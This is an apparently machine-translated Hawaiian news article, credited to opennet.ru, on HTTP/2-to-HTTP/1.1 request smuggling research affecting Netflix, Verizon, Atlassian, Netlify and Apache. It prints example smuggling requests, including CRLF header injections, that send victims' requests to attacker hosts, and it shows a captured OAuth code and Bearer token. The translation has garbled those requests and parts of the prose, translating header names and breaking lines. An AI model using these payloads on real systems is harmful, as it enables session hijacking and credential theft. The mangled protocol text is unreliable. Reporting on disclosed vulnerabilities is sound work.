ʻO kahi hoʻouka kaua hou ma nā ʻōnaehana front-end-backend e hiki ai iā ʻoe ke wili i nā noi

ʻO nā ʻōnaehana pūnaewele kahi e ʻae ai ka ʻaoʻao mua i nā pilina ma o HTTP/2 a hoʻouna iā lākou i ka hope ma o HTTP/1.1 ua hōʻike ʻia i kahi ʻano hou o ka hoʻouka kaua "HTTP Request Smuggling", e hiki ai, ma ka hoʻouna ʻana i nā noi mea kūʻai aku i hoʻolālā kūikawā ʻia, e komo i loko o nā mea o nā noi mai nā mea hoʻohana ʻē aʻe i hana ʻia ma ke kahe like ma waena o ka mua a me ka hope. Hiki ke hoʻohana ʻia ka hoʻouka ʻana no ka hoʻokomo ʻana i ka code JavaScript maikaʻi ʻole i loko o kahi hālāwai me kahi pūnaewele kūpono, e kāpae i nā ʻōnaehana hoʻopaʻa ʻana a me ka hoʻopaʻa ʻana i nā ʻāpana hōʻoia.

Pili ka pilikia i nā proxies pūnaewele, nā mea kaulike, nā mea hoʻolale pūnaewele, nā ʻōnaehana hoʻolaha ʻike a me nā hoʻonohonoho ʻē aʻe kahi e hoʻohuli ʻia ai nā noi ma ke ʻano mua-hope-to-backend. Ua hōʻike ka mea kākau o ka noiʻi i ka hiki ke hoʻouka i nā ʻōnaehana o Netflix, Verizon, Bitbucket, Netlify CDN a me Atlassian, a loaʻa iā 56 tausani kālā i nā papahana uku no ka ʻike ʻana i nā nāwaliwali. Ua hōʻoia ʻia ka pilikia ma nā huahana F5 Networks. Hoʻopili ʻia ka pilikia i ka mod_proxy ma ka Apache http server (CVE-2021-33193), kahi hoʻoponopono i manaʻo ʻia ma ka mana 2.4.49 (ua hoʻolaha ʻia nā mea hoʻomohala i ka pilikia i ka hoʻomaka ʻana o Mei a hāʻawi ʻia i 3 mau mahina e hoʻoponopono ai). Ma ka nginx, hiki i ka hiki ke kuhikuhi i ka manawa like i nā poʻomanaʻo "Content-Length" a me "Transfer-Encoding" i ka hoʻokuʻu hope loa (1.21.1). Hoʻokomo ʻia nā mea hana hoʻouka i ka Burp toolkit a loaʻa i ke ʻano o ka hoʻonui Turbo Intruder.

ʻO ke kumu o ka hana o ke ʻano hou o ka hoʻopaʻa ʻana i nā noi i loko o ke kaʻa ua like ia me ka nāwaliwali i ʻike ʻia e ka mea noiʻi like ʻelua makahiki i hala, akā ua kaupalena ʻia i nā frontends e ʻae i nā noi ma HTTP/1.1. E hoʻomanaʻo kākou i ka papahana frontend-backend, loaʻa nā noi o nā mea kūʻai aku e kahi node hou - ka frontend, kahi e hoʻokumu ai i kahi pilina TCP lōʻihi me ka backend, nāna e hoʻoponopono pololei i nā noi. Ma o kēia pilina maʻamau, hoʻouna pinepine ʻia nā noi mai nā mea hoʻohana like ʻole, e hahai ana i ke kaulahao ma hope o kekahi, i hoʻokaʻawale ʻia e ka protocol HTTP.

ʻO ka hoʻouka kaua "HTTP Request Smuggling" i hoʻokumu ʻia ma ka ʻoiaʻiʻo e wehewehe nā frontends a me nā hope i ka hoʻohana ʻana i nā poʻomanaʻo HTTP "Content-Length" (e hoʻoholo i ka nui o ka ʻikepili i loko o ka noi) a me "Transfer-Encoding: chunked" (ʻae. ʻikepili e hoʻoili ʻia ma nā ʻāpana) ʻokoʻa. . No ka laʻana, inā kākoʻo wale ka ʻaoʻao mua i ka "Content-Length" akā e nānā ʻole i ka "Transfer-Encoding: chunked", a laila hiki i ka mea hoʻouka ke hoʻouna i kahi noi i loaʻa nā poʻomanaʻo "Content-Length" a me "Transfer-Encoding: chunked", akā. ʻAʻole kūlike ka nui "Loaʻa-Loaʻa" i ka nui o ke kaulahao i ʻoki ʻia. I kēia hihia, e hana ka hope mua a hoʻohuli hou i ka noi e like me ka "Content-Length", a e kali ka hope i ka pau ʻana o ka poloka ma muli o "Transfer-Encoding: chunked" a me ke koena huelo o ka noi a ka mea hoʻouka. aia ma ka hoʻomaka ʻana o ke noi a kekahi e hoʻouna ʻia aʻe.

ʻAʻole like me ka protocol text HTTP/1.1, i hoʻopaʻa ʻia ma ka pae laina, ʻo HTTP/2 kahi protocol binary a hoʻopunipuni i nā poloka ʻikepili o kahi nui i kuhikuhi mua ʻia. Eia naʻe, hoʻohana ʻo HTTP/2 i nā pseudo-headers e pili ana i nā poʻomanaʻo HTTP maʻamau. I ka hihia o ka launa pū ʻana me ka hope ma o ka protocol HTTP/1.1, unuhi ka frontend i kēia mau poʻomanaʻo pseudo i nā poʻomanaʻo HTTP like HTTP/1.1. ʻO ka pilikia ka hoʻoholo ʻana o ka hope e pili ana i ka parsing i ke kahawai e pili ana i nā poʻomanaʻo HTTP i hoʻonohonoho ʻia e ka frontend, me ka ʻole o ka ʻike e pili ana i nā palena o ka noi kumu.

Ma keʻano kūikawā, hiki ke hoʻouna ʻia nā waiwai "ʻokoʻa-lōʻihi" a me "transfer-encoding" ma ke ʻano o nā pseudo-headers, ʻoiai ʻaʻole i hoʻohana ʻia ma HTTP/2, no ka mea, ua hoʻoholo ʻia ka nui o nā ʻikepili āpau. ma kahi kahua kaawale. Eia naʻe, i ka wā o ka hoʻololi ʻana i kahi noi HTTP/2 i HTTP/1.1, lawe ʻia kēia mau poʻomanaʻo a hiki ke huikau i ka hope. ʻElua mau ʻano hoʻouka kaua nui: H2.TE a me H2.CL, kahi i alakaʻi hewa ʻia ai ka hope hope e ka hoʻololi hewa ʻole a i ʻole ka waiwai lōʻihi i kūpono ʻole i ka nui maoli o ke kino noi i loaʻa e ka frontend ma o ka ʻO ka protocol HTTP/2.

ʻO kahi hoʻouka kaua hou ma nā ʻōnaehana front-end-backend e hiki ai iā ʻoe ke wili i nā noi

ʻO kahi laʻana o kahi hoʻouka H2.CL ʻo ia ke kuhikuhi ʻana i ka nui hewa ʻole i ka pseudo-header lōʻihi ma ka hoʻouna ʻana i kahi noi HTTP/2 iā Netflix. Ke alakaʻi nei kēia noi i ka hoʻohui ʻana i kahi poʻomanaʻo HTTP like ʻO ka Content-Length i ka wā e komo ai i ka hope ma o HTTP/1.1, akā no ka mea, ʻoi aku ka liʻiliʻi o ka nui o ka Content-Length ma mua o ka mea maoli, ua hana ʻia kahi hapa o ka ʻikepili i ka huelo e like me ka hoomaka ana o ka noi hou.

No ka laʻana, noi HTTP/2 :ʻano POST :path /n :mana www.netflix.com maʻiʻo-lōʻihi 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

E hoʻouna ʻia kahi noi i ka hope: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

No ka mea he 4 ka waiwai o ka Content-Length, e ʻae ka hope i ka "abcd" wale nō ke kino o ka noi, a ʻo ke koena o "GET / n HTTP/1.1..." e hana ʻia ma ke ʻano he hoʻomaka o kahi noi ma hope. pili me kekahi mea hoʻohana. No laila, e lilo ke kahawai i desynchronized a ma ka pane ʻana i ka noi aʻe, e hoʻopuka ʻia ka hopena o ka hoʻoponopono ʻana i ka noi dummy. I ka hihia o Netflix, e kuhikuhi ana i kahi mea hoʻokipa ʻekolu ma ke poʻo "Host:" i kahi noi dummy i hopena i ka mea kūʻai aku e hoʻihoʻi i ka pane "Wāhi: https://02.rs?x.netflix.com/n" a ʻae ʻia e hoʻouna ʻia i nā mea kūʻai aku i ka mea kūʻai aku, me ka holo ʻana i kāu code JavaScript ma ka pōʻaiapili o ka pūnaewele Netflix.

ʻO ka koho hoʻouka ʻelua (H2.TE) pili i ka hoʻololi ʻana i ke poʻomanaʻo "Transfer-Encoding: chunked". Ua pāpā ʻia ka hoʻohana ʻana i ka pseudo-header transfer-encoding ma HTTP/2 e ka kikoʻī a ua kuhikuhi ʻia nā noi me ia e mālama ʻia he hewa. ʻOiai naʻe, ʻaʻole i noʻonoʻo kekahi mau hana mua i kēia koi a ʻae i ka hoʻohana ʻana i kahi pseudo-header transfer-encoding i HTTP/2, i hoʻololi ʻia i kahi poʻomanaʻo HTTP like. Inā loaʻa kahi poʻomanaʻo "Transfer-Encoding", hiki i ka ʻaoʻao hope ke lawe iā ia ma ke ʻano he mea nui a hoʻokaʻawale i ka ʻāpana ʻikepili i kēlā me kēia ʻāpana ma ke ʻano "chunked" me ka hoʻohana ʻana i nā poloka o nā nui like ʻole i ke ʻano "{size}\r\n{block }\r\n{size} \r\n{block}\r\n0", ʻoiai ka mahele mua ma ka nui holoʻokoʻa.

Ua hōʻike ʻia ka hele ʻana o kēlā ʻano āpau e ka hiʻohiʻona o Verizon. ʻO ka pilikia e pili ana i ka puka hōʻoia a me ka ʻōnaehana hoʻokele waiwai, i hoʻohana ʻia ma nā pūnaewele e like me Huffington Post a me Engadget. No ka laʻana, noi ka mea kūʻai aku ma o HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Ua hoʻouna ʻia kahi noi HTTP/1.1 i ka hope: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres. net Maʻiʻo- Ka lōʻihi: 10x=

ʻO ka hope, ʻaʻole i nānā i ke poʻo "Content-Length" a hana i ka hoʻokaʻawale i loko o ke kahawai e pili ana i ka "Transfer-Encoding: chunked". I ka hoʻomaʻamaʻa, ua hiki i ka hoʻouka ʻana ke hoʻihoʻi i nā noi mea hoʻohana i kā lākou pūnaewele, me nā noi intercepting e pili ana i ka hōʻoia ʻana o OAuth, nā ʻāpana o ia mea i hōʻike ʻia ma ke poʻo Referer, a me ka hoʻohālikelike ʻana i kahi hālāwai hōʻoia a hoʻoulu i ka ʻōnaehana o ka mea hoʻohana e hoʻouna i nā hōʻoia. i ka mea hoouka kaua. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Manaʻo: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

No ka hoʻouka ʻana i nā hoʻokō HTTP/2 ʻaʻole e ʻae i ka hoʻololi ʻana i ka pseudo-header e hoʻākāka ʻia, ua manaʻo ʻia kahi ala ʻē aʻe e pili ana i ka hoʻololi ʻana i ke poʻo "Transfer-Encoding" ma ka hoʻopili ʻana i nā poʻomanaʻo pseudo ʻē aʻe i hoʻokaʻawale ʻia e kahi ʻano laina hou ( ke hoʻololi ʻia i HTTP/1.1 i kēia hihia e hana i ʻelua mau poʻomanaʻo HTTP kaʻawale).

No ka laʻana, ʻo Atlassian Jira a me Netlify CDN (hoʻohana ʻia e lawelawe i ka ʻaoʻao hoʻomaka Mozilla ma Firefox) i hoʻopilikia ʻia e kēia pilikia. ʻO kahi kikoʻī, ke noi HTTP/2 : ala POST : ala / : mana start.mozilla.org foo b\r\n hoʻololi-hoʻololi: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Content-Length: 5\r\n \r\nx=

ua hoʻouna ʻia ka noi HTTP/1.1 POST / HTTP/1.1 i ka hope\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r \nx=

ʻO kahi koho ʻē aʻe no ka hoʻololi ʻana i ke poʻomanaʻo "Transfer-Encoding" ʻo ia ka hoʻopili ʻana i ka inoa o kahi pseudo-header a i ʻole i kahi laina me kahi ala noi. No ka laʻana, i ke komo ʻana i Atlassian Jira, ka inoa pseudo-header "foo: bar\r\ntransfer-encoding" me ka waiwai "chunked" i hoʻohui ʻia nā poʻomanaʻo HTTP "foo: bar" a me "transfer-encoding: chunked" , a me ka wehewehe ʻana i ka waiwai pseudo-header ": method" "GET / HTTP/1.1\r\nTransfer-encoding: chunked" i unuhi ʻia i "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

ʻO ka mea noiʻi nāna i ʻike i ka pilikia, ua noi ʻo ia i kahi ʻenehana tunneling noi e hoʻouka i nā frontends, kahi e hoʻokumu ai kēlā me kēia IP IP i kahi pilina kaʻawale i ka hope a ʻaʻole i hui pū ʻia nā kaʻa mai nā mea hoʻohana like ʻole. ʻAʻole ʻae ka ʻenehana i manaʻo ʻia e hoʻopilikia i nā noi mai nā mea hoʻohana ʻē aʻe, akā hiki ke hoʻomake i kahi huna huna e pili ana i ka hana ʻana o nā noi ʻē aʻe, a hiki ke hoʻololi i nā poʻomanaʻo HTTP kūloko i hoʻohana ʻia no ka hoʻololi ʻana i ka ʻike lawelawe mai ka mua a i ka hope ( no ka laʻana, i ka hōʻoia ʻana ma ka ʻaoʻao mua ma ia mau poʻomanaʻo hiki ke hoʻouna i ka ʻike e pili ana i ka mea hoʻohana i kēia manawa i ka hope). Ma keʻano he laʻana o ka hoʻohana ʻana i ke ʻano ma ka hoʻomaʻamaʻa, me ka hoʻohana ʻana i ka make cache, hiki ke loaʻa ka mana ma luna o nā ʻaoʻao ma ka lawelawe Bitbucket.

Source: opennet.ru

Pākuʻi i ka manaʻo hoʻopuka